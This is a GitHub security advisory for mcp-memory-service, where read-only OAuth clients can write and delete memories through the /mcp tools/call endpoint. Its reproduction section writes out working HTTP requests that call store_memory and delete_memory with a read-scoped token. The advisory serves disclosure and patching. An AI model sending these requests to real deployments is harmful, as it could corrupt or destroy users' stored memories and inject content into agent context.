GitHub Advisoryadvisory · PyPI
GHSA-2r68-g678-7qr3 mcp-memory-service: OAuth read-only clients can write and delete memories through MCP tools/call
HIGH
Official page ↗
- Aliases
- CVE-2026-49291
- Ecosystem
- PyPI
- Packages
- mcp-memory-service
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
- Weaknesses
- CWE-862
- Reviewed
- 2026-06-26
Affected packages
• PyPI mcp-memory-service: < 10.65.3 → fixed in 10.65.3
Description
Summary
The HTTP MCP JSON-RPC endpoint at `/mcp` requires only OAuth `read` scope for all requests, then dispatches `tools/call` directly to handlers that include mutating tools. A read-only OAuth client can call `store_memory` and `delete_memory` through MCP even though the corresponding REST endpoints require `write` scope.
Technical Details
`src/mcp_memory_service/web/api/mcp.py` declares `mcp_endpoint` with `user: AuthenticationResult = Depends(require_read_access)`. For `tools/call`, it extracts the requested tool name and arguments, then calls `handle_tool_call(storage, tool_name, arguments)` without passing the authenticated user or checking a per-tool required scope.
The MCP tool registry includes both read tools and write tools. In the same handler file, `store_memory` creates a `Memory` object and calls `storage.store(...)`, while `delete_memory` calls `storage.delete(content_hash)`. These operations are reachable with only the `read` scope.
The REST endpoint demonstrates the intended boundary: `POST /api/memories` uses `Depends(require_write_access)` and rejects a read-only token with 403 `insufficient_scope`.
Reproduction
1. Enable OAuth and disable anonymous access.
2. Generate a valid OAuth JWT with only `scope: read`.
3. Confirm the REST write endpoint rejects it:
```http
POST /api/memories
Authorization: Bearer
Content-Type: application/json
{"content":"rest denied control"}
```
Expected and observed: HTTP 403 with `Required scope 'write' not granted`.
4. Send the same read-only token to the MCP endpoint:
```http
POST /mcp
Authorization: Bearer
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "store_memory",
"arguments": {
"content": "mcp read scope stored this",
"tags": ["poc"]
}
}
}
```
Observed: HTTP 200 JSON-RPC success and the storage `store` sink is reached.
5. A read-only token can also call `delete_memory` through MCP if it knows a content hash:
```http
POST /mcp
Authorization: Bearer
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "delete_memory",
"arguments": {"content_hash": ""}
}
}
```
Observed: HTTP 200 JSON-RPC success and the storage `delete` sink is reached.
Impact
A client intended to be read-only can inject or delete memories through the MCP API. This can corrupt the memory database, influence future agent context, and destroy stored user memories without the OAuth `write` scope required by the REST API.
Affected Versions
Confirmed present on current main commit `c99a922477df41f75a44db11182ae48a57311910` and latest release tag `v10.65.0` (`4eb4a62665589f9dd9f8c393afa32de434b4098a`).
Suggested Fix
Enforce authorization per MCP tool at `tools/call` time. Require `write` for `store_memory` and `delete_memory`, keep `read` only for read-only tools, and add regression tests proving direct `tools/call` to mutating tools is rejected before the handler reaches storage when the caller has only `read` scope.
Related
Alias · CVE (1)
- CVE-2026-49291 mcp-memory-service is a semantic memory layer for AI applications. vulnerability
Weakness · CWE (1)
- CWE-862 Missing Authorization weakness
References
- https://github.com/doobidoo/mcp-memory-service/security/advisories/GHSA-2r68-g678-7qr3 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-49291 advisory
- https://github.com/doobidoo/mcp-memory-service package
- https://pypi.org/project/mcp-memory-service/10.65.3 web
- https://web.archive.org/web/20260508112116/https://github.com/doobidoo/mcp-memory-service web